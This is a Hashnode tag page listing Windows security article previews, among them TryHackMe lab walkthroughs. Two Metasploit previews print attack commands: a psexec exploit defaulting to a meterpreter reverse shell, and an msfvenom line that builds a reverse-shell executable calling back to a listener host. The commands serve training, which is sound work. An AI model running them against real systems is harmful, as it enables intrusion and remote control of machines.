--- title: "#windows-security articles | Hashnode" description: "Explore 31 articles tagged #windows-security on Hashnode. Tutorials, guides, and how-tos from the community." url: "https://hashnode.com/tag/windows-security" --- Tag # #windows-security 31 posts · 0 followers [Oghenemaro Ikelegbe](https://hashnode.com/@Maro101) · [5d ago](https://hashnode.com/posts/ms-paint-a-zero-click-flaw-hits-windows-lovable-drawing-app/6af1f791d9ada987ed02922f) ### [MS Paint: A "Zero-Click" Flaw Hits Windows' Lovable Drawing App](https://cybersage.hashnode.dev/ms-paint-a-zero-click-flaw-hits-windows-lovable-drawing-app?utm_source=hashnode&utm_medium=feed) Microsoft confirmed a flaw in MS Paint that could let attackers run code remotely. Here’s what happened and the fixed version 2 min read · [cybersage.hashnode.dev](https://cybersage.hashnode.dev/ms-paint-a-zero-click-flaw-hits-windows-lovable-drawing-app?utm_source=hashnode&utm_medium=feed) [Ved Patel](https://hashnode.com/@vedhp) · [6d ago](https://hashnode.com/posts/denial-of-service-dos-distributed-denial-of-service-ddos-how-attacks-work-and-how-we-defend-against-them/6af0f1bc3d98ae9959f8cdad) ### [Denial of Service (DoS) & Distributed Denial of Service (DDoS): How Attacks Work and How We Defend Against Them](https://vedtech.hashnode.dev/denial-of-service-dos-distributed-denial-of-service-ddos-how-attacks-work-and-how-we-defend-against-them?utm_source=hashnode&utm_medium=feed) Imagine trying to access your favorite website, but the page refuses to load. You refresh it, wait a few seconds, and try again. Nothing works. Now imagine thousands or even millions of other people e 11 min read · [vedtech.hashnode.dev](https://vedtech.hashnode.dev/denial-of-service-dos-distributed-denial-of-service-ddos-how-attacks-work-and-how-we-defend-against-them?utm_source=hashnode&utm_medium=feed) [2](https://hashnode.com/posts/denial-of-service-dos-distributed-denial-of-service-ddos-how-attacks-work-and-how-we-defend-against-them/6af0f1bc3d98ae9959f8cdad) [Hazel Chirinda](https://hashnode.com/@hazelchirinda) · [Oct 30](https://hashnode.com/posts/one-organization-two-operating-systems-securing-windows-and-macos-endpoints/6ae439968043737948a6fddf) ### [One Organization, Two Operating Systems: Securing Windows and macOS Endpoints](https://hazelsec.hashnode.dev/one-organization-two-operating-systems-securing-windows-and-macos-endpoints?utm_source=hashnode&utm_medium=feed) Learn how to secure Windows and macOS endpoints with consistent policies, endpoint detection, device management, and security monitoring 12 min read · [hazelsec.hashnode.dev](https://hazelsec.hashnode.dev/one-organization-two-operating-systems-securing-windows-and-macos-endpoints?utm_source=hashnode&utm_medium=feed) [Neville Iregi](https://hashnode.com/@m0ng00s3) · [Sep 24](https://hashnode.com/posts/exploring-windows-internals-a-guide-for-security-engineering/6ab55490eb468b3189e2fd69) ### [Exploring Windows Internals: A Guide for Security Engineering](https://m0ng00s3-blog.hashnode.dev/exploring-windows-internals-a-guide-for-security-engineering?utm_source=hashnode&utm_medium=feed) Windows, as you might already know, is quite prevalent. With the low-level programming already gained in C/C++ and reverse engineering intro I have learned about so far, I had to also look into how Wi 42 min read · [m0ng00s3-blog.hashnode.dev](https://m0ng00s3-blog.hashnode.dev/exploring-windows-internals-a-guide-for-security-engineering?utm_source=hashnode&utm_medium=feed) [rathsara](https://hashnode.com/@rathsara) · [Sep 18](https://hashnode.com/posts/windows-where-data-hides-and-how-it-s-found/6aacff122422f9edf7f68ba3) ### [Windows: Where Data Hides and How It's Found](https://rr-cyber.hashnode.dev/windows-where-data-hides-and-how-it-s-found?utm_source=hashnode&utm_medium=feed) A file reports 25 bytes. A different command reveals 19MB attached to it. Where NTFS actually hides data, and the exact commands that find it. 15 min read · [rr-cyber.hashnode.dev](https://rr-cyber.hashnode.dev/windows-where-data-hides-and-how-it-s-found?utm_source=hashnode&utm_medium=feed) [Jebitok](https://hashnode.com/@w1t3r) · [Sep 9](https://hashnode.com/posts/preparation-tryhackme/6aa1256fb62342bb8dcd29e6) ### [Preparation (TryHackMe)](https://www.sharonjebitok.com/preparation-tryhackme?utm_source=hashnode&utm_medium=feed) Link to the walkthrough on TryHackMe: Preparation Introduction The Preparation phase is the foundation of every effective incident response capability. Before an organization can detect, contain, or r 17 min read · [sharonjebitok.com](https://www.sharonjebitok.com/preparation-tryhackme?utm_source=hashnode&utm_medium=feed) [Jebitok](https://hashnode.com/@w1t3r) · [Sep 8](https://hashnode.com/posts/metasploit-post-exploitation-tryhackme/6aa01edcdd899c44f15ac9be) ### [Metasploit: Post-Exploitation (TryHackMe)](https://www.sharonjebitok.com/metasploit-post-exploitation-tryhackme?utm_source=hashnode&utm_medium=feed) Link to challenge on TryHackMe: Metasploit: Post-Exploitation msfconsole msf > use exploit/windows/smb/psexec \[\*\] No payload configured, defaulting to windows/meterpreter/reverse\_tcp \[\*\] New in Metas 2 min read · [sharonjebitok.com](https://www.sharonjebitok.com/metasploit-post-exploitation-tryhackme?utm_source=hashnode&utm_medium=feed) [Jebitok](https://hashnode.com/@w1t3r) · [Sep 8](https://hashnode.com/posts/metasploit-payload-generation-tryhackme/6aa01f6fc4e088d480c7c6e7) ### [Metasploit: Payload Generation (TryHackMe)](https://www.sharonjebitok.com/metasploit-payload-generation-tryhackme?utm_source=hashnode&utm_medium=feed) Link of the challenge on TryHackMe: Metasploit: Payload Generation msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.114.121.234 LPORT=4444 -f exe -o shell.exe \[-\] No platform was selected, ch 13 min read · [sharonjebitok.com](https://www.sharonjebitok.com/metasploit-payload-generation-tryhackme?utm_source=hashnode&utm_medium=feed) [Jebitok](https://hashnode.com/@w1t3r) · [Sep 8](https://hashnode.com/posts/ad-badsuccessor-tryhackme/6aa01881fc976346144a7e30) ### [AD: BadSuccessor (TryHackMe)](https://www.sharonjebitok.com/ad-badsuccessor-tryhackme?utm_source=hashnode&utm_medium=feed) Link to the challenge on TryHackMe: AD: BadSuccessor Introduction For those unfamiliar with Microsoft Active Directory (AD), it resembles a centralized directory that allows administrators to control 25 min read · [sharonjebitok.com](https://www.sharonjebitok.com/ad-badsuccessor-tryhackme?utm_source=hashnode&utm_medium=feed) [Jebitok](https://hashnode.com/@w1t3r) · [Sep 7](https://hashnode.com/posts/trusted-by-default-tryhackme/6a9f179debcd038b301b6c07) ### [Trusted By Default (TryHackMe)](https://www.sharonjebitok.com/trusted-by-default-tryhackme?utm_source=hashnode&utm_medium=feed) Link to the challenge on TryHackMe: Trusted By Default Introduction Trusted By Default is a Splunk-based investigation room on TryHackMe that drops you into a live-fire correlation exercise across web 7 min read · [sharonjebitok.com](https://www.sharonjebitok.com/trusted-by-default-tryhackme?utm_source=hashnode&utm_medium=feed)